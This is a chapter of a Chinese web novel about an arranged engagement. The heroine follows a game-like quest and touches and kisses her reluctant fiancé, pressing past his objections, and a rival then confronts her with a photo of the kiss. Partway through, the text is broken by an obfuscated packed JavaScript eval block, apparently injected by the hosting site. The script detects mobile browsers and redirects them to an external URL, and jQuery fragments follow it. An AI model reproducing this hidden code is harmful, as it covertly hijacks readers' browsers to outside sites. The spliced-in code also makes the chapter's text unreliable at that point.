第 153 章 衰运omega(四十八)

作品:《攻略失败,但修罗场

    第153章衰运omega(四十八)


    【在路边做任务是会完蛋的】


    下午很空,开完训练安排会,主管教练给头一批轮休的队员挨个准了假,宋舒延彻底闲下来,叫上楼珩一起去市中心球具店给球拍换绳线。


    商贸大厦底层有家装潢新式的咖啡馆,楼珩很久以前在那里做过平面广告模特,员工特惠卡里还有没用完的额度。


    宋舒延坐在阳伞下面,太阳有点晒,没风,他的脑子昏昏沉沉。


    楼珩从领餐台回来,宋舒延盯着他放下水盘,盯着他坐下,盯到楼珩不适应地蹙眉,“怎么?


    宋舒延问:“你有没有试过恋爱?


    楼珩把盛着透明气泡水的杯子推给他,“没有。


    宋舒延用吸管去戳开细小的气泡,过了几秒钟又问:“恋爱是什么感觉?


    楼珩想了想,说:“不知道。


    他把宋舒延戳气泡溅出来的水珠擦掉,用额外要来的杯垫卡在冰饮杯下面,细致地把杯底留下的水痕也拭干。


    宋舒延看了直摇头,“就你这样子,没有人会愿意和你恋爱的。


    楼珩无所谓地丢开纸巾,他不关心这些,但宋舒延非把话题往他身上引,似乎想从他不受欢迎的事实中得到些安慰,异常到一定程度,他认为多半和蒋逢玉脱不了干系。


    “问那些干什么。


    宋舒延被他刺得一噎。


    楼珩性格沉闷又无趣,话很少,但反应快,谁给他亏吃,他一定要马上讨回来。


    “话是这样讲,但是,宋舒延抿一口水,慢慢组织语言,“我总觉得,蒋逢玉是想跟我……恋爱。


    包办婚姻的一般流程是这样,双方大家长交流过,彼此觉得条件都合适,对婚后能交换的利益拉锯协商,敲定一份合格的商业计划书比签订婚契还重要,关于钱、权、地位,一切谈妥后,婚姻就变成板上钉钉的事实,从进行式变成完成式。


    蒋逢玉和他,不算严格意义上的包办婚姻,头一步就不合标准。


    蒋由珵没有看中他家,宋宜庭也没想过会和蒋家有牵扯,而宋舒延,主人公之一,持百分之百的抗拒态度,从这里开始,似乎才有点专制包办婚姻的意思。


    蒋逢玉看中他,不管不顾地追求他,在那以后,才轮到双方家长出面。


    蒋逢玉和宋舒延,这两个名字原本不会有写在一起的机会,连学生花名册都分占两年,如果不是她,她和他


    没有开始的可能。


    楼珩的声音模糊地从花坛另一侧传来,宋舒延回过神才发现他不在眼前,起身转了一圈,找到拎着袋鱼米松蹲在草堆里的楼珩。


    楼珩严肃地拆开包装袋,严肃地把平摊的塑料袋推进草堆里,示意宋舒延和他一起离开。


    宋舒延又直摇头,“你的桃花运就是这样消失的,全部消失,到最后一点不剩。


    楼珩用花朵小勺挖彩虹色的三角慕斯吃,表情很认真,像在拆弹,宋舒延定睛一看,他先挖红的,那是第一层,然后才是下面的橙黄绿青蓝紫,秩序森严。


    宋舒延由衷地感叹,“你没救了。


    “她想跟你恋爱和你有什么关系。楼珩不理会他的点评,“你不是在想办法从她那里脱身?


    宋舒延又被堵到一噎,随之而来的还有心虚。


    他敷衍道:“在想办法了。


    楼珩眯起眼睛观察他一会儿,宋舒延被看得心里发毛,楼珩才说:“我看你也不是很急着脱身的样子。


    往常听到这种话,宋舒延都会过度反应,比如摆出不敢置信的表情,大声地反驳。


    但这一天,这一回,宋舒延抿了抿嘴唇,垂下脖子趴在桌面上,手指漫无目的地顺着沁出水珠的杯壁往上下左右划,半张抽象的脸透过折射的圆弧弹进楼珩眼底。


    宋舒延说:“我有很多钱。


    楼珩说:“知道了。


    “我家也有很多钱。宋舒延看着手指头那一小块皮肤被泡透,冰冰凉的,“够全家人活两辈子还有得剩了。


    楼珩问:“你是故意说给我听吗。


    宋舒延有气无力地斜他一眼,“你现在也不缺钱花啊。


    楼珩点点头,“不妨碍我认为你在炫耀。


    放在桌面上的手机屏幕一亮,弹出未读讯息提示,宋舒延看了一眼,恹恹地别开视线。


    “我以前想过我会和什么人在恋爱,又和什么人结婚,宋舒延说,“不管类型怎么变,都不是蒋逢玉那样子。


    楼珩对情感生活类问题没兴趣,对蒋逢玉更没兴趣,他能为宋舒延提供的帮助有限。


    “我暂时不打算退婚了。楼珩用小勺把慕斯挖到蓝色那一层,听见宋舒延下定决心一样发言,“九月中旬就要参加世锦赛,如果要退婚,这两个月肯定会有很多麻烦事,训练不在状态,对我拿牌子更没帮助。


    楼珩没说话,宋舒延自己把理由想得天衣无缝,从被挤压的训练时间说到两家将要达成的合作,最后提


    起蒋逢玉的坏脾气,斩钉截铁地说:“她没那么容易放过我。”


    哪怕她说要放过他,宋舒延暗暗补上,蒋逢玉一天一变,今天她想退婚,谁知道明天会不会又受了刺激绑走他为所欲为?


    楼珩体贴地给他补充借口,“最近合适的联姻对象也不是很好找。”


    宋舒延深以为然。


    入夜分开时,楼珩背着拍子乘空缆回学校,他不会开车,也不想学,对自用的小型交通工具持极端的排斥心理,宋舒延不知道缘由,也劝不服他。


    他跟着楼珩往站口处走了一段路,边走边在聊天框里敲敲打打,过了一会儿停住,楼珩回头看他,他脸上有片不大自然的薄粉,粉中夹着点愠怒,楼珩没有问,宋舒延就自己忿忿开口:


    “你敢信吗?蒋逢玉又想带我开房!她现在连装都不装了,一上来就直奔主题!”


    楼珩耸肩,“我没问,意思就是不想知道。”


    他不想和蒋逢玉有一丁点多余的接触,对她也毫无探知欲,蒋逢玉是另一个世界的人,而那个世界,他绝对不想踏进去一步。


    宋舒延根本没管他说了什么,潦草地挥手道别,站在路边低着头按手机,手指移动的速度飞快,可见情绪波动不小。


    楼珩朝着路灯下来回踱步的宋舒延看了一会儿,认识那么久,他偶尔还会觉得宋舒延是个不容易理解的怪人。


    某辆眼熟的车从拐角驶过,开出去一段距离,又倒回来,楼珩不经意和降下的车窗内那双眼睛对上,淡淡的不适感蔓延上来,他转身就走,让自己混进缆车站口的人群中。


    看到蒋逢玉的时候,他总觉得不安全。


    楼珩不打算深入思考,简单地把这不安全感归入‘讨厌的情绪’里,也把蒋逢玉划进‘讨厌的人’行列中。


    蒋逢玉这头的情况也基本类似。


    对于楼珩,这个和她没话可说,甚至有话也装听不见,印象分至今还空空地挂着的硬茬,她懒得多看一眼,粗暴地踢去路人甲区域。


    宋舒延不情不愿地上了车。


    蒋逢玉看不惯他这样子,早前在她那里,他把话说得完全没回转的余地,像忠心耿耿老实仁厚的丈夫铁了心不离开有病的妻子一样,但她做点日常任务问候一下他,宋舒延马上摆出贞洁烈夫不容亵渎的姿态。


    “我先说好,正常吃晚餐没问题,其它不可能。”宋舒延又钻到后座去,双手环臂,自我防护的意味强烈,蒋逢玉从后视镜里凉凉看他一眼,他又把语气放轻,“要是给别人知道,那我的面子往哪里


    放?人家怎么想我?


    不知道他一天到晚在想什么。


    侍应生早早地候在门口,接驳员接了钥匙绕来主驾,蒋逢玉带着宋舒延乘梯往顶楼去,轿厢在25层公务厅停下,没到目的地,外头进来四五名身着正装的精英人士,两个在蒋逢玉设想中完全不该有交集的女人站在一起,似乎正在为什么事争执。


    “蒋小姐。容韶钰中止和周秉竹的谈话,在看清目的楼层后朝她微笑点头,“好久没见。


    她看向宋舒延,极其自然地将他的称呼定为‘男友’,简单寒暄几句,蒋逢玉没反驳,未婚夫这三个字听起来比男友正经太多,且平民做太久,思维始终转不过来,说出去怪怪的。


    周秉竹拨了拨头发,大概刚结束工作,倚在扶手上懒懒散散敲手机的样子和周野奇异地重合,她不认得蒋逢玉,但认得宋舒延,被下放到体育频道做外勤记者时,她采访过几次他,自来熟地攀谈起来。


    到两拨人分开时,宋舒延手里又被塞进周秉竹的名片,只不过这一次,她印在那上面上的名头大得多。


    应季特制菜单上的新品上了一半,宋舒延问:“你和容韶锦的姐姐怎么认识的?


    蒋逢玉抿了口柚皮陈酒,被反上来的苦味冲得直皱眉,她借着不算酒劲的酒劲自然地把手搭去宋舒延胳膊上,顺着小臂往下摸,指尖按在他手背上。


    她时刻留意着眼前的任务框,在发觉有效肢体接触的计数牌由0/3变成1/3后,蒋逢玉松了口气。


    从早晨宋舒延送


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15192199|122537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上门到现在,掐他、推他、还丑鸟时拉手、给他理头发,这些都不构成有效次数,她心里还颇有点忐忑。


    现在看来,可能只是停留的时间不够。


    宋舒延颤了一下,把她的手挥开,完全忘记自己刚才是在说什么。


    “这里很多人。他神情不虞,“我不习惯这样。


    蒋逢玉撑着头去翻演出人员手册,随口一问:“人不多的地方就可以了?还是说没有人能看见的地方才可以?


    宋舒延腾地一下站起来,桌布被带到,水杯摇摇晃晃跌下去一只,清脆的裂响引人侧目,侍应生过来清理,宋舒延才憋着火气坐下来,故意不看她。


    脸皮薄就这点坏处,干坏事的人没露马脚,他就已经把她的罪行全刻脸上昭告天下。


    “你那腿往哪里放?等侍应生走掉,宋舒延清算罪孽,压着声音质问,“我有没有说过除了吃晚餐其它都不可以?


    蒋逢玉不知悔改地笑,笑得他又气又恼,如


    果不是知道传出去会丢脸,宋舒延一定马上自己另开一桌,好过蒋逢玉坐他对面动手又动脚。


    “没办法,我就这样。”蒋逢玉说,“明明告诉过你了,朋友没可能,也给过你离开的机会,是你自己选择留下来。”


    宋舒延很想找到杀马特老太的时光穿梭机回到过去,哪怕就几小时以前也行。


    他假咳两声,用拳头抵住嘴唇,“我留下来不是想让你对我做这种、这种事。”


    蒋逢玉用鞋尖踢踢他小腿,宋舒延看起来颇感为难,好歹是没像看见镜子里的自己长眼角笑纹一样立刻弹开。


    “不好意思,我就只想对你做这种事。”蒋逢玉勾来他那杯没动过的无酒精青柠塔,浅浅啜饮过后推回去,“你不是早就知道么。现在做出很惊讶的样子算什么?”


    这一天的晚餐时间,宋舒延过得挺煎熬。蒋逢玉似乎打算让他意识到她不是开玩笑,肢体接触的频率相较以往高得令人咂舌。


    “你要是总这样,我不会再和你一起出门了。”宋舒延结过账,等接驳员把车开来的那几分钟,他争分夺秒给蒋逢玉发通牒。


    蒋逢玉还差最后一次肢体接触没达标,经过稀碎的计算和思考,她认为是需要0/3并不只是简单的计数,而是需要从起始计数行为开始叠加难度才能彻底完成任务。


    第一次计数,她摸了宋舒延的手臂和手指,长达半分钟;


    第二次计数,宋舒延喝了她碰过的酒,基本空杯;


    第三次计数,尚未完成。


    宋舒延喋喋不休地给她传播他那套封建余孽一样的无理规矩,蒋逢玉伸手揽下他的脖颈,在宋舒延受惊的眼神中和善地提醒他:“把眼闭了。”


    宋舒延保持着那个对颈椎无益的扭曲姿势,他推了推蒋逢玉,没用力,当然也没推得开。


    他犹豫着问:“你想干吗?”其实他心里有数。


    宋舒延真正想问的是:难道一定要在这里?


    不过蒋逢玉想要做什么,他总是没办法阻止的。


    阻止有意义吗?宋舒延想,阻止只是让他白费一点力气而已。


    于是宋舒延也犹犹豫豫地闭上了眼睛。


    她的手指在下巴往上鼻梁往下的位置停留很久,久到他心里没个底,开始不耐烦。


    在他出声再次询问兼恐吓的后一秒,微微湿润的、柔软的触感在他鼻尖迸开。


    鼻尖往上,眉心,眼周,轻又热。


    唯独剩下嘴唇。


    宋舒延慢慢睁开眼,蒋逢玉已经站离他很远,略带无可奈何的口气对他说:“这样难道你也怕?”


    接驳员眼观鼻鼻观心站在车门旁边很久,蒋逢玉朝他招手接过钥匙,拉开车门把宋舒延塞进去,一路上这烦人精一句多余的话都没说,搞得她还以为自己耳朵彻底聋掉。


    一天有一天的活,干完活就躺着躲懒,蒋逢玉一个指头都不愿意多动,手机甩扔在钥匙架里,有没有人找她都不在乎。


    不在乎的代价就是没得到回复的仁兄夜里发疯,小套间脆弱的门板被狂锤。


    蒋逢玉精神衰弱地爬起来,从猫眼里往外一看,容韶锦那瘟神又下凡来瘟人了。


    她刷开手机看了一眼未读讯息,自动屏蔽掉其它,未知号码基本就是他没跑,朴素的对话框里就一张照片和四个字。


    蒋逢玉在路边不拘小节捧着宋舒延的脸做清水版亲亲任务の超绝高清偷拍照一张。


    以及一句令人摸不着头脑的——


    【解释一下】


    作者有话要说